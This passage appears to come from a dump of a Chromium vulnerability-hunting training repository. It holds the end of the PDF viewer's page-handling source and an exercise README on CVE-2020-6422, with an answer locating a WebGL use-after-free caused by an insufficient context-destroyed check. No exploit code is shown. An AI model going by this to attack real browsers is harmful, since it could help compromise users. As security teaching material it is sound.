tolerance, in points.\n  constexpr double kTolerance = 20.0;\n  int rv = FPDFText_GetCharIndexAtPos(GetTextPage(), new_x, new_y, kTolerance,\n                                      kTolerance);\n  *char_index = rv;\n\n  FPDF_LINK link = FPDFLink_GetLinkAtPoint(GetPage(), new_x, new_y);\n  int control =\n      FPDFPage_HasFormFieldAtPoint(engine_->form(), GetPage(), new_x, new_y);\n\n  // If there is a control and link at the same point, figure out their z-order\n  // to determine which is on top.\n  if (link && control > FPDF_FORMFIELD_UNKNOWN) {\n    int control_z_order = FPDFPage_FormFieldZOrderAtPoint(\n        engine_->form(), GetPage(), new_x, new_y);\n    int link_z_order = FPDFLink_GetLinkZOrderAtPoint(GetPage(), new_x, new_y);\n    DCHECK_NE(control_z_order, link_z_order);\n    if (control_z_order > link_z_order) {\n      *form_type = control;\n      return FormTypeToArea(*form_type);\n    }\n\n    // We don't handle all possible link types of the PDF. For example,\n    // launch actions, cross-document links, etc.\n    // In that case, GetLinkTarget() will return NONSELECTABLE_AREA\n    // and we should proceed with area detection.\n    Area area = GetLinkTarget(link, target);\n    if (area != NONSELECTABLE_AREA)\n      return area;\n  } else if (link) {\n    // We don't handle all possible link types of the PDF. For example,\n    // launch actions, cross-document links, etc.\n    // See identical block above.\n    Area area = GetLinkTarget(link, target);\n    if (area != NONSELECTABLE_AREA)\n      return area;\n  } else if (control > FPDF_FORMFIELD_UNKNOWN) {\n    *form_type = control;\n    return FormTypeToArea(*form_type);\n  }\n\n  if (rv < 0)\n    return NONSELECTABLE_AREA;\n\n  return GetLink(*char_index, target) != -1 ? WEBLINK_AREA : TEXT_AREA;\n}\n\n// static\nPDFiumPage::Area PDFiumPage::FormTypeToArea(int form_type) {\n  switch (form_type) {\n    case FPDF_FORMFIELD_COMBOBOX:\n    case FPDF_FORMFIELD_TEXTFIELD:\n#if defined(PDF_ENABLE_XFA)\n    // TODO(bug_353450): figure out selection and copying for XFA fields.\n    case FPDF_FORMFIELD_XFA_COMBOBOX:\n    case FPDF_FORMFIELD_XFA_TEXTFIELD:\n#endif\n      return FORM_TEXT_AREA;\n    default:\n      return NONSELECTABLE_AREA;\n  }\n}\n\nbase::char16 PDFiumPage::GetCharAtIndex(int index) {\n  if (!available_)\n    return L'\\0';\n  return static_cast<base::char16>(FPDFText_GetUnicode(GetTextPage(), index));\n}\n\nint PDFiumPage::GetCharCount() {\n  if (!available_)\n    return 0;\n  return FPDFText_CountChars(GetTextPage());\n}\n\nbool PDFiumPage::IsCharIndexInBounds(int index) {\n  return index >= 0 && index < GetCharCount();\n}\n\nPDFiumPage::Area PDFiumPage::GetDestinationTarget(FPDF_DEST destination,\n                                                  LinkTarget* target) {\n  if (!target)\n    return NONSELECTABLE_AREA;\n\n  int page_index = FPDFDest_GetDestPageIndex(engine_->doc(), destination);\n  if (page_index < 0)\n    return NONSELECTABLE_AREA;\n\n  target->page = page_index;\n\n  base::Optional<gfx::PointF> xy;\n  GetPageDestinationTarget(destination, &xy, &target->zoom);\n  if (xy) {\n    gfx::PointF point = TransformPageToScreenXY(xy.value());\n    target->x_in_pixels = point.x();\n    target->y_in_pixels = point.y();\n  }\n\n  return DOCLINK_AREA;\n}\n\nvoid PDFiumPage::GetPageDestinationTarget(FPDF_DEST destination,\n                                          base::Optional<gfx::PointF>* xy,\n                                          base::Optional<float>* zoom_value) {\n  *xy = base::nullopt;\n  *zoom_value = base::nullopt;\n  if (!available_)\n    return;\n\n  FPDF_BOOL has_x_coord;\n  FPDF_BOOL has_y_coord;\n  FPDF_BOOL has_zoom;\n  FS_FLOAT x;\n  FS_FLOAT y;\n  FS_FLOAT zoom;\n  FPDF_BOOL success = FPDFDest_GetLocationInPage(\n      destination, &has_x_coord, &has_y_coord, &has_zoom, &x, &y, &zoom);\n\n  if (!success)\n    return;\n\n  if (has_x_coord && has_y_coord)\n    *xy = gfx::PointF(x, y);\n\n  if (has_zoom)\n    *zoom_value = zoom;\n}\n\ngfx::PointF PDFiumPage::TransformPageToScreenXY(const gfx::PointF& xy) {\n  if (!available_)\n    return gfx::PointF();\n\n  gfx::RectF page_rect(xy.x(), xy.y(), 0, 0);\n  gfx::RectF pixel_rect(FloatPageRectToPixelRect(GetPage(), page_rect));\n  return gfx::PointF(pixel_rect.x(), pixel_rect.y());\n}\n\nPDFiumPage::Area PDFiumPage::GetURITarget(FPDF_ACTION uri_action,\n                                          LinkTarget* target) const {\n  if (target) {\n    std::string url = CallPDFiumStringBufferApi(\n        base::BindRepeating(&FPDFAction_GetURIPath, engine_->doc(), uri_action),\n        /*check_expected_size=*/true);\n    if (!url.empty())\n      target->url = url;\n  }\n  return WEBLINK_AREA;\n}\n\nint PDFiumPage::GetLink(int char_index, LinkTarget* target) {\n  if (!available_)\n    return -1;\n\n  CalculateLinks();\n\n  // Get the bounding box of the rect again, since it might have moved because\n  // of the tolerance above.\n  double left;\n  double right;\n  double bottom;\n  double top;\n  if (!FPDFText_GetCharBox(GetTextPage(), char_index, &left, &right, &bottom,\n                           &top)) {\n    return -1;\n  }\n\n  gfx::Point origin = PageToScreen(gfx::Point(), 1.0, left, top, right, bottom,\n                                   PageOrientation::kOriginal)\n                          .origin();\n  for (size_t i = 0; i < links_.size(); ++i) {\n    for (const auto& rect : links_[i].bounding_rects) {\n      if (rect.Contains(origin)) {\n        if (target)\n          target->url = links_[i].target.url;\n        return i;\n      }\n    }\n  }\n  return -1;\n}\n\nvoid PDFiumPage::CalculateLinks() {\n  if (calculated_links_)\n    return;\n\n  calculated_links_ = true;\n  PopulateWebLinks();\n  PopulateAnnotationLinks();\n}\n\nvoid PDFiumPage::PopulateWebLinks() {\n  ScopedFPDFPageLink links(FPDFLink_LoadWebLinks(GetTextPage()));\n  int count = FPDFLink_CountWebLinks(links.get());\n  for (int i = 0; i < count; ++i) {\n    // WARNING: FPDFLink_GetURL() is not compatible with\n    // CallPDFiumWideStringBufferApi().\n    base::string16 url;\n    int url_length = FPDFLink_GetURL(links.get(), i, nullptr, 0);\n    if (url_length > 0) {\n      PDFiumAPIStringBufferAdapter<base::string16> api_string_adapter(\n          &url, url_length, true);\n      unsigned short* data =\n          reinterpret_cast<unsigned short*>(api_string_adapter.GetData());\n      int actual_length = FPDFLink_GetURL(links.get(), i, data, url_length);\n      api_string_adapter.Close(actual_length);\n    }\n    Link link;\n    link.target.url = base::UTF16ToUTF8(url);\n\n    if (!engine_->IsValidLink(link.target.url))\n      continue;\n\n    // Make sure all the characters in the URL are valid per RFC 1738.\n    // http://crbug.com/340326 has a sample bad PDF.\n    // GURL does not work correctly, e.g. it just strips \\t \\r \\n.\n    bool is_invalid_url = false;\n    for (size_t j = 0; j < link.target.url.length(); ++j) {\n      // Control characters are not allowed.\n      // 0x7F is also a control character.\n      // 0x80 and above are not in US-ASCII.\n      if (link.target.url[j] < ' ' || link.target.url[j] >= '\\x7F') {\n        is_invalid_url = true;\n        break;\n      }\n    }\n    if (is_invalid_url)\n      continue;\n\n    int rect_count = FPDFLink_CountRects(links.get(), i);\n    for (int j = 0; j < rect_count; ++j) {\n      double left;\n      double top;\n      double right;\n      double bottom;\n      FPDFLink_GetRect(links.get(), i, j, &left, &top, &right, &bottom);\n      gfx::Rect rect = PageToScreen(gfx::Point(), 1.0, left, top, right, bottom,\n                                    PageOrientation::kOriginal);\n      if (rect.IsEmpty())\n        continue;\n      link.bounding_rects.push_back(rect);\n    }\n    FPDF_BOOL is_link_over_text = FPDFLink_GetTextRange(\n        links.get(), i, &link.start_char_index, &link.char_count);\n    DCHECK(is_link_over_text);\n    links_.push_back(link);\n  }\n}\n\nvoid PDFiumPage::PopulateAnnotationLinks() {\n  int start_pos = 0;\n  FPDF_LINK link_annot;\n  FPDF_PAGE page = GetPage();\n  while (FPDFLink_Enumerate(page, &start_pos, &link_annot)) {\n    Link link;\n    Area area = GetLinkTarget(link_annot, &link.target);\n    if (area == NONSELECTABLE_AREA)\n      continue;\n\n    FS_RECTF link_rect;\n    if (!FPDFLink_GetAnnotRect(link_annot, &link_rect))\n      continue;\n\n    // The horizontal/vertical coordinates in PDF Links could be\n    // flipped. Swap the coordinates before further processing.\n    if (link_rect.right < link_rect.left)\n      std::swap(link_rect.right, link_rect.left);\n    if (link_rect.bottom > link_rect.top)\n      std::swap(link_rect.bottom, link_rect.top);\n\n    int quad_point_count = FPDFLink_CountQuadPoints(link_annot);\n    // Calculate the bounds of link using the quad points data.\n    // If quad points for link is not present then use\n    // |link_rect| to calculate the bounds instead.\n    if (quad_point_count > 0) {\n      for (int i = 0; i < quad_point_count; ++i) {\n        FS_QUADPOINTSF point;\n        if (FPDFLink_GetQuadPoints(link_annot, i, &point)) {\n          // PDF Specifications: Quadpoints start from bottom left (x1, y1) and\n          // runs counter clockwise.\n          link.bounding_rects.push_back(\n              PageToScreen(gfx::Point(), 1.0, point.x4, point.y4, point.x2,\n                           point.y2, PageOrientation::kOriginal));\n        }\n      }\n    } else {\n      link.bounding_rects.push_back(PageToScreen(\n          gfx::Point(), 1.0, link_rect.left, link_rect.top, link_rect.right,\n          link_rect.bottom, PageOrientation::kOriginal));\n    }\n\n    // Calculate underlying text range of link.\n    GetUnderlyingTextRangeForRect(\n        gfx::RectF(link_rect.left, link_rect.bottom,\n                   std::abs(link_rect.right - link_rect.left),\n                   std::abs(link_rect.bottom - link_rect.top)),\n        &link.start_char_index, &link.char_count);\n    links_.emplace_back(link);\n  }\n}\n\nvoid PDFiumPage::CalculateImages() {\n  if (calculated_images_)\n    return;\n\n  calculated_images_ = true;\n  FPDF_PAGE page = GetPage();\n  int page_object_count = FPDFPage_CountObjects(page);\n  MarkedContentIdToImageMap marked_content_id_image_map;\n  bool is_tagged = FPDFCatalog_IsTagged(engine_->doc());\n  for (int i = 0; i < page_object_count; ++i) {\n    FPDF_PAGEOBJECT page_object = FPDFPage_GetObject(page, i);\n    if (FPDFPageObj_GetType(page_object) != FPDF_PAGEOBJ_IMAGE)\n      continue;\n    float left;\n    float top;\n    float right;\n    float bottom;\n    FPDF_BOOL ret =\n        FPDFPageObj_GetBounds(page_object, &left, &bottom, &right, &top);\n    DCHECK(ret);\n    Image image;\n    image.bounding_rect = PageToScreen(gfx::Point(), 1.0, left, top, right,\n                                       bottom, PageOrientation::kOriginal);\n\n    if (is_tagged) {\n      // Collect all marked content IDs for image objects so that they can\n      // later be used to retrieve alt text from struct tree for the page.\n      FPDF_IMAGEOBJ_METADATA image_metadata;\n      if (FPDFImageObj_GetImageMetadata(page_object, page, &image_metadata)) {\n        int marked_content_id = image_metadata.marked_content_id;\n        if (marked_content_id >= 0) {\n          // If |marked_content_id| is already present, ignore the one being\n          // inserted.\n          marked_content_id_image_map.insert(\n              {marked_content_id, images_.size()});\n        }\n      }\n    }\n    images_.push_back(image);\n  }\n\n  if (!marked_content_id_image_map.empty())\n    PopulateImageAltText(marked_content_id_image_map);\n}\n\nvoid PDFiumPage::PopulateImageAltText(\n    const MarkedContentIdToImageMap& marked_content_id_image_map) {\n  ScopedFPDFStructTree struct_tree(FPDF_StructTree_GetForPage(GetPage()));\n  if (!struct_tree)\n    return;\n\n  std::set<FPDF_STRUCTELEMENT> visited_elements;\n  int tree_children_count = FPDF_StructTree_CountChildren(struct_tree.get());\n  for (int i = 0; i < tree_children_count; ++i) {\n    FPDF_STRUCTELEMENT current_element =\n        FPDF_StructTree_GetChildAtIndex(struct_tree.get(), i);\n    PopulateImageAltTextForStructElement(marked_content_id_image_map,\n                                         current_element, &visited_elements);\n  }\n}\n\nvoid PDFiumPage::PopulateImageAltTextForStructElement(\n    const MarkedContentIdToImageMap& marked_content_id_image_map,\n    FPDF_STRUCTELEMENT current_element,\n    std::set<FPDF_STRUCTELEMENT>* visited_elements) {\n  if (!current_element)\n    return;\n\n  bool inserted = visited_elements->insert(current_element).second;\n  if (!inserted)\n    return;\n\n  int marked_content_id =\n      FPDF_StructElement_GetMarkedContentID(current_element);\n  if (marked_content_id >= 0) {\n    auto it = marked_content_id_image_map.find(marked_content_id);\n    if (it != marked_content_id_image_map.end() &&\n        images_[it->second].alt_text.empty()) {\n      images_[it->second].alt_text =\n          base::UTF16ToUTF8(CallPDFiumWideStringBufferApi(\n              base::BindRepeating(&FPDF_StructElement_GetAltText,\n                                  current_element),\n              /*check_expected_size=*/true));\n    }\n  }\n  int children_count = FPDF_StructElement_CountChildren(current_element);\n  for (int i = 0; i < children_count; ++i) {\n    FPDF_STRUCTELEMENT child =\n        FPDF_StructElement_GetChildAtIndex(current_element, i);\n    PopulateImageAltTextForStructElement(marked_content_id_image_map, child,\n                                         visited_elements);\n  }\n}\n\nvoid PDFiumPage::PopulateAnnotations() {\n  if (calculated_annotations_)\n    return;\n\n  FPDF_PAGE page = GetPage();\n  if (!page)\n    return;\n\n  int annotation_count = FPDFPage_GetAnnotCount(page);\n  for (int i = 0; i < annotation_count; ++i) {\n    ScopedFPDFAnnotation annot(FPDFPage_GetAnnot(page, i));\n    DCHECK(annot);\n    FPDF_ANNOTATION_SUBTYPE subtype = FPDFAnnot_GetSubtype(annot.get());\n\n    switch (subtype) {\n      case FPDF_ANNOT_HIGHLIGHT: {\n        PopulateHighlight(annot.get());\n        break;\n      }\n      case FPDF_ANNOT_WIDGET: {\n        PopulateFormField(annot.get());\n        break;\n      }\n      default:\n        break;\n    }\n  }\n  calculated_annotations_ = true;\n}\n\nvoid PDFiumPage::PopulateHighlight(FPDF_ANNOTATION annot) {\n  DCHECK(annot);\n  DCHECK_EQ(FPDFAnnot_GetSubtype(annot), FPDF_ANNOT_HIGHLIGHT);\n\n  FS_RECTF rect;\n  if (!FPDFAnnot_GetRect(annot, &rect))\n    return;\n\n  Highlight highlight;\n  // We use the bounding box of the highlight as the bounding rect.\n  highlight.bounding_rect =\n      PageToScreen(gfx::Point(), 1.0, rect.left, rect.top, rect.right,\n                   rect.bottom, PageOrientation::kOriginal);\n  GetUnderlyingTextRangeForRect(\n      gfx::RectF(rect.left, rect.bottom, std::abs(rect.right - rect.left),\n                 std::abs(rect.bottom - rect.top)),\n      &highlight.start_char_index, &highlight.char_count);\n\n  // Retrieve the color of the highlight.\n  unsigned int color_r;\n  unsigned int color_g;\n  unsigned int color_b;\n  unsigned int color_a;\n  FPDF_PAGEOBJECT page_object = FPDFAnnot_GetObject(annot, 0);\n  if (FPDFPageObj_GetFillColor(page_object, &color_r, &color_g, &color_b,\n                               &color_a)) {\n    highlight.color = MakeARGB(color_a, color_r, color_g, color_b);\n  } else {\n    // Set the same default color as in pdfium. See calls to\n    // GetColorStringWithDefault() in CPVT_GenerateAP::Generate*AP() in\n    // pdfium.\n    highlight.color = MakeARGB(255, 255, 255, 0);\n  }\n\n  // Retrieve the contents of the popup note associated with highlight.\n  // See table 164 in ISO 32000-1 standard for more details around \"Contents\"\n  // key in a highlight annotation.\n  static constexpr char kContents[] = \"Contents\";\n  highlight.note_text = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi(\n      base::BindRepeating(&FPDFAnnot_GetStringValue, annot, kContents),\n      /*check_expected_size=*/true));\n\n  highlights_.push_back(std::move(highlight));\n}\n\nvoid PDFiumPage::PopulateTextField(FPDF_ANNOTATION annot) {\n  DCHECK(annot);\n  FPDF_FORMHANDLE form_handle = engine_->form();\n  DCHECK_EQ(FPDFAnnot_GetFormFieldType(form_handle, annot),\n            FPDF_FORMFIELD_TEXTFIELD);\n\n  TextField text_field;\n  if (!PopulateFormFieldProperties(annot, &text_field))\n    return;\n\n  text_field.value = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi(\n      base::BindRepeating(&FPDFAnnot_GetFormFieldValue, form_handle, annot),\n      /*check_expected_size=*/true));\n  text_fields_.push_back(std::move(text_field));\n}\n\nvoid PDFiumPage::PopulateChoiceField(FPDF_ANNOTATION annot) {\n  DCHECK(annot);\n  FPDF_FORMHANDLE form_handle = engine_->form();\n  int form_field_type = FPDFAnnot_GetFormFieldType(form_handle, annot);\n  DCHECK(form_field_type == FPDF_FORMFIELD_LISTBOX ||\n         form_field_type == FPDF_FORMFIELD_COMBOBOX);\n\n  ChoiceField choice_field;\n  if (!PopulateFormFieldProperties(annot, &choice_field))\n    return;\n\n  int options_count = FPDFAnnot_GetOptionCount(form_handle, annot);\n  if (options_count < 0)\n    return;\n\n  choice_field.options.resize(options_count);\n  for (int i = 0; i < options_count; ++i) {\n    choice_field.options[i].name =\n        base::UTF16ToUTF8(CallPDFiumWideStringBufferApi(\n            base::BindRepeating(&FPDFAnnot_GetOptionLabel, form_handle, annot,\n                                i),\n            /*check_expected_size=*/true));\n    choice_field.options[i].is_selected =\n        FPDFAnnot_IsOptionSelected(form_handle, annot, i);\n  }\n  choice_fields_.push_back(std::move(choice_field));\n}\n\nvoid PDFiumPage::PopulateButton(FPDF_ANNOTATION annot) {\n  DCHECK(annot);\n  FPDF_FORMHANDLE form_handle = engine_->form();\n  int button_type = FPDFAnnot_GetFormFieldType(form_handle, annot);\n  DCHECK(button_type == FPDF_FORMFIELD_PUSHBUTTON ||\n         IsRadioButtonOrCheckBox(button_type));\n\n  Button button;\n  if (!PopulateFormFieldProperties(annot, &button))\n    return;\n\n  button.type = button_type;\n  if (IsRadioButtonOrCheckBox(button_type)) {\n    button.control_count = FPDFAnnot_GetFormControlCount(form_handle, annot);\n    if (button.control_count <= 0)\n      return;\n\n    button.control_index = FPDFAnnot_GetFormControlIndex(form_handle, annot);\n    button.value = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi(\n        base::BindRepeating(&FPDFAnnot_GetFormFieldExportValue, form_handle,\n                            annot),\n        /*check_expected_size=*/true));\n    button.is_checked = FPDFAnnot_IsChecked(form_handle, annot);\n  }\n  buttons_.push_back(std::move(button));\n}\n\nvoid PDFiumPage::PopulateFormField(FPDF_ANNOTATION annot) {\n  DCHECK_EQ(FPDFAnnot_GetSubtype(annot), FPDF_ANNOT_WIDGET);\n  int form_field_type = FPDFAnnot_GetFormFieldType(engine_->form(), annot);\n\n  // TODO(crbug.com/1030242): Populate other types of form fields too.\n  switch (form_field_type) {\n    case FPDF_FORMFIELD_PUSHBUTTON:\n    case FPDF_FORMFIELD_CHECKBOX:\n    case FPDF_FORMFIELD_RADIOBUTTON: {\n      PopulateButton(annot);\n      break;\n    }\n    case FPDF_FORMFIELD_COMBOBOX:\n    case FPDF_FORMFIELD_LISTBOX: {\n      PopulateChoiceField(annot);\n      break;\n    }\n    case FPDF_FORMFIELD_TEXTFIELD: {\n      PopulateTextField(annot);\n      break;\n    }\n    default:\n      break;\n  }\n}\n\nbool PDFiumPage::PopulateFormFieldProperties(FPDF_ANNOTATION annot,\n                                             FormField* form_field) {\n  DCHECK(annot);\n  FS_RECTF rect;\n  if (!FPDFAnnot_GetRect(annot, &rect))\n    return false;\n\n  // We use the bounding box of the form field as the bounding rect.\n  form_field->bounding_rect =\n      PageToScreen(gfx::Point(), 1.0, rect.left, rect.top, rect.right,\n                   rect.bottom, PageOrientation::kOriginal);\n  FPDF_FORMHANDLE form_handle = engine_->form();\n  form_field->name = base::UTF16ToUTF8(CallPDFiumWideStringBufferApi(\n      base::BindRepeating(&FPDFAnnot_GetFormFieldName, form_handle, annot),\n      /*check_expected_size=*/true));\n  form_field->flags = FPDFAnnot_GetFormFieldFlags(form_handle, annot);\n  return true;\n}\n\nbool PDFiumPage::GetUnderlyingTextRangeForRect(const gfx::RectF& rect,\n                                               int* start_index,\n                                               int* char_len) {\n  if (!available_)\n    return false;\n\n  FPDF_TEXTPAGE text_page = GetTextPage();\n  int char_count = FPDFText_CountChars(text_page);\n  if (char_count <= 0)\n    return false;\n\n  int start_char_index = -1;\n  int cur_char_count = 0;\n\n  // Iterate over page text to find such continuous characters whose mid-points\n  // lie inside the rectangle.\n  for (int i = 0; i < char_count; ++i) {\n    double char_left;\n    double char_right;\n    double char_bottom;\n    double char_top;\n    if (!FPDFText_GetCharBox(text_page, i, &char_left, &char_right,\n                             &char_bottom, &char_top)) {\n      break;\n    }\n\n    float xmid = (char_left + char_right) / 2;\n    float ymid = (char_top + char_bottom) / 2;\n    if (rect.Contains(xmid, ymid)) {\n      if (start_char_index == -1)\n        start_char_index = i;\n      ++cur_char_count;\n    } else if (start_char_index != -1) {\n      break;\n    }\n  }\n\n  if (cur_char_count == 0)\n    return false;\n\n  *char_len = cur_char_count;\n  *start_index = start_char_index;\n  return true;\n}\n\ngfx::Rect PDFiumPage::PageToScreen(const gfx::Point& page_point,\n                                   double zoom,\n                                   double left,\n                                   double top,\n                                   double right,\n                                   double bottom,\n                                   PageOrientation orientation) const {\n  if (!available_)\n    return gfx::Rect();\n\n  double start_x = (rect_.x() - page_point.x()) * zoom;\n  double start_y = (rect_.y() - page_point.y()) * zoom;\n  double size_x = rect_.width() * zoom;\n  double size_y = rect_.height() * zoom;\n  if (!base::IsValueInRangeForNumericType<int>(start_x) ||\n      !base::IsValueInRangeForNumericType<int>(start_y) ||\n      !base::IsValueInRangeForNumericType<int>(size_x) ||\n      !base::IsValueInRangeForNumericType<int>(size_y)) {\n    return gfx::Rect();\n  }\n\n  int new_left;\n  int new_top;\n  int new_right;\n  int new_bottom;\n  FPDF_BOOL ret = FPDF_PageToDevice(\n      page(), static_cast<int>(start_x), static_cast<int>(start_y),\n      static_cast<int>(ceil(size_x)), static_cast<int>(ceil(size_y)),\n      ToPDFiumRotation(orientation), left, top, &new_left, &new_top);\n  DCHECK(ret);\n  ret = FPDF_PageToDevice(\n      page(), static_cast<int>(start_x), static_cast<int>(start_y),\n      static_cast<int>(ceil(size_x)), static_cast<int>(ceil(size_y)),\n      ToPDFiumRotation(orientation), right, bottom, &new_right, &new_bottom);\n  DCHECK(ret);\n\n  // If the PDF is rotated, the horizontal/vertical coordinates could be\n  // flipped.  See\n  // http://www.netl.doe.gov/publications/proceedings/03/ubc/presentations/Goeckner-pres.pdf\n  if (new_right < new_left)\n    std::swap(new_right, new_left);\n  if (new_bottom < new_top)\n    std::swap(new_bottom, new_top);\n\n  base::CheckedNumeric<int32_t> new_size_x = new_right;\n  new_size_x -= new_left;\n  new_size_x += 1;\n  base::CheckedNumeric<int32_t> new_size_y = new_bottom;\n  new_size_y -= new_top;\n  new_size_y += 1;\n  if (!new_size_x.IsValid() || !new_size_y.IsValid())\n    return gfx::Rect();\n\n  return gfx::Rect(new_left, new_top, new_size_x.ValueOrDie(),\n                   new_size_y.ValueOrDie());\n}\n\nvoid PDFiumPage::RequestThumbnail(float device_pixel_ratio,\n                                  SendThumbnailCallback send_callback) {\n  DCHECK(!thumbnail_callback_);\n\n  if (available()) {\n    GenerateAndSendThumbnail(device_pixel_ratio, std::move(send_callback));\n    return;\n  }\n\n  // It is safe to use base::Unretained(this) because the callback is only used\n  // by |this|.\n  thumbnail_callback_ = base::BindOnce(\n      &PDFiumPage::GenerateAndSendThumbnail, base::Unretained(this),\n      device_pixel_ratio, std::move(send_callback));\n}\n\nThumbnail PDFiumPage::GenerateThumbnail(float device_pixel_ratio) {\n  DCHECK(available());\n\n  FPDF_PAGE page = GetPage();\n  gfx::Size page_size(base::saturated_cast<int>(FPDF_GetPageWidthF(page)),\n                      base::saturated_cast<int>(FPDF_GetPageHeightF(page)));\n  Thumbnail thumbnail(page_size, device_pixel_ratio);\n\n  SkBitmap& sk_bitmap = thumbnail.bitmap();\n  ScopedFPDFBitmap fpdf_bitmap(FPDFBitmap_CreateEx(\n      sk_bitmap.width(), sk_bitmap.height(), FPDFBitmap_BGRA,\n      sk_bitmap.getPixels(), sk_bitmap.rowBytes()));\n\n  // Clear the bitmap.\n  FPDFBitmap_FillRect(fpdf_bitmap.get(), /*left=*/0, /*top=*/0,\n                      sk_bitmap.width(), sk_bitmap.height(),\n                      /*color=*/0xFFFFFFFF);\n\n  // The combination of the |FPDF_REVERSE_BYTE_ORDER| rendering flag and the\n  // |FPDFBitmap_BGRA| format when initializing |fpdf_bitmap| results in an RGBA\n  // rendering, which is the format required by HTML <canvas>.\n  FPDF_RenderPageBitmap(fpdf_bitmap.get(), GetPage(), /*start_x=*/0,\n                        /*start_y=*/0, sk_bitmap.width(), sk_bitmap.height(),\n                        /*rotate=*/0, FPDF_ANNOT | FPDF_REVERSE_BYTE_ORDER);\n\n  return thumbnail;\n}\n\nvoid PDFiumPage::GenerateAndSendThumbnail(float device_pixel_ratio,\n                                          SendThumbnailCallback send_callback) {\n  std::move(send_callback).Run(GenerateThumbnail(device_pixel_ratio));\n}\n\nvoid PDFiumPage::MarkAvailable() {\n  available_ = true;\n\n  // Fulfill pending thumbnail request.\n  if (thumbnail_callback_)\n    std::move(thumbnail_callback_).Run();\n}\n\nPDFiumPage::ScopedUnloadPreventer::ScopedUnloadPreventer(PDFiumPage* page)\n    : page_(page) {\n  page_->preventing_unload_count_++;\n}\n\nPDFiumPage::ScopedUnloadPreventer::~ScopedUnloadPreventer() {\n  page_->preventing_unload_count_--;\n}\n\nPDFiumPage::Link::Link() = default;\n\nPDFiumPage::Link::Link(const Link& that) = default;\n\nPDFiumPage::Link::~Link() = default;\n\nPDFiumPage::Image::Image() = default;\n\nPDFiumPage::Image::Image(const Image& that) = default;\n\nPDFiumPage::Image::~Image() = default;\n\nPDFiumPage::Highlight::Highlight() = default;\n\nPDFiumPage::Highlight::Highlight(const Highlight& that) = default;\n\nPDFiumPage::Highlight::~Highlight() = default;\n\nPDFiumPage::FormField::FormField() = default;\n\nPDFiumPage::FormField::FormField(const FormField& that) = default;\n\nPDFiumPage::FormField::~FormField() = default;\n\nPDFiumPage::TextField::TextField() = default;\n\nPDFiumPage::TextField::TextField(const TextField& that) = default;\n\nPDFiumPage::TextField::~TextField() = default;\n\nPDFiumPage::ChoiceFieldOption::ChoiceFieldOption() = default;\n\nPDFiumPage::ChoiceFieldOption::ChoiceFieldOption(\n    const ChoiceFieldOption& that) = default;\n\nPDFiumPage::ChoiceFieldOption::~ChoiceFieldOption() = default;\n\nPDFiumPage::ChoiceField::ChoiceField() = default;\n\nPDFiumPage::ChoiceField::ChoiceField(const ChoiceField& that) = default;\n\nPDFiumPage::ChoiceField::~ChoiceField() = default;\n\nPDFiumPage::Button::Button() = default;\n\nPDFiumPage::Button::Button(const Button& that) = default;\n\nPDFiumPage::Button::~Button() = default;\n\n// static\nuint32_t PDFiumPage::CountLinkHighlightOverlaps(\n    const std::vector<Link>& links,\n    const std::vector<Highlight>& highlights) {\n  return CountOverlaps(links, highlights) + CountInternalTextOverlaps(links) +\n         CountInternalTextOverlaps(highlights);\n}\n\nint ToPDFiumRotation(PageOrientation orientation) {\n  // Could static_cast<int>(orientation), but using an exhaustive switch will\n  // trigger an error if we ever change the definition of PageOrientation.\n  switch (orientation) {\n    case PageOrientation::kOriginal:\n      return 0;\n    case PageOrientation::kClockwise90:\n      return 1;\n    case PageOrientation::kClockwise180:\n      return 2;\n    case PageOrientation::kClockwise270:\n      return 3;\n  }\n  NOTREACHED();\n  return 0;\n}\n\n}  // namespace chrome_pdf\n"
  },
  {
    "path": "LEVEL_2/exercise_7/README.md",
    "content": "# Exercise 7\n\nIn LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details.\n\n## CVE-2020-6422\nI sugget you don't search any report about it to prevents get too much info like patch.\n\n\n### Details\n\nIn level 2, we do it without the help of Details\n\n\n---------\n\n<details>\n  <summary>For more info click me! But you'd better not do this</summary>\n\n  https://bugs.chromium.org/p/chromium/issues/detail?id=1166091\n\n</details>\n\n--------\n\n### Set environment\n\nafter you fetch chromium\n```sh\ngit reset --hard a8b9044e5a317034dca14763906aed6fa743ab58\n```\n\n\n### Related code\n\nthird_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc\n\ntips: Not all delete operation set `var` null. In some cases we need save the destoried var for next step.\n\nThe bug is in the last quarter of the source code.\n\n### Do it\nDo this exercise by yourself, If you find my answer have something wrong, please correct it.\n\n\n---------\n\n<details>\n  <summary>My answer</summary>\n\n  This cve describes a type of vulnerability for us.\n  ```c++\nvoid WebGLRenderingContextBase::PrintWarningToConsole(const String& message) {\n  blink::ExecutionContext* context = Host()->GetTopExecutionContext();\n  if (context) {                                                 [1]\n    context->AddConsoleMessage(MakeGarbageCollected<ConsoleMessage>(\n        mojom::ConsoleMessageSource::kRendering,\n        mojom::ConsoleMessageLevel::kWarning, message));\n  }\n}\n  ```\n  `if (context)` can not check whether the `context` has been destoried, and then it can cause uap. We need check `context->IsContextDestroyed()`.\n  ```c++\n  // Now that the context and context group no longer hold on to the\n  // objects they create, and now that the objects are eagerly finalized\n  // rather than the context, there is very little useful work that this\n  // destructor can do, since it's not allowed to touch other on-heap\n  // objects. All it can do is destroy its underlying context, which, if\n  // there are no other contexts in the same share group, will cause all of\n  // the underlying graphics resources to be deleted. (Currently, it's\n  // always the case that there are no other contexts in the same share\n  // group -- resource sharing between WebGL contexts is not yet\n  // implemented, and due to its complex semantics, it's doubtful that it\n  // ever will be.)\nvoid WebGLRenderingContextBase::DestroyContext() {\n  if (!GetDrawingBuffer())\n    return;\n\n  clearProgramCompletionQueries();\n\n  extensions_util_.reset();\n\n  base::RepeatingClosure null_closure;\n  base::RepeatingCallback<void(const char*, int32_t)> null_function;\n  GetDrawingBuffer()->ContextProvider()->SetLostContextCallback(\n      std::move(null_closure));\n  GetDrawingBuffer()->ContextProvider()->SetErrorMessageCallback(\n      std::move(null_function));\n\n  DCHECK(GetDrawingBuffer());\n  drawing_buffer_->BeginDestruction();\n  drawing_buffer_ = nullptr;\n}\n  ```\n\n  Do this cve for exercise aims to let you know this type of vulnerability.\n  \n\n</details>\n\n--------\n"
  },
  {
    "path": "LEVEL_2/exercise_7/webgl_rendering_context_base.cc",
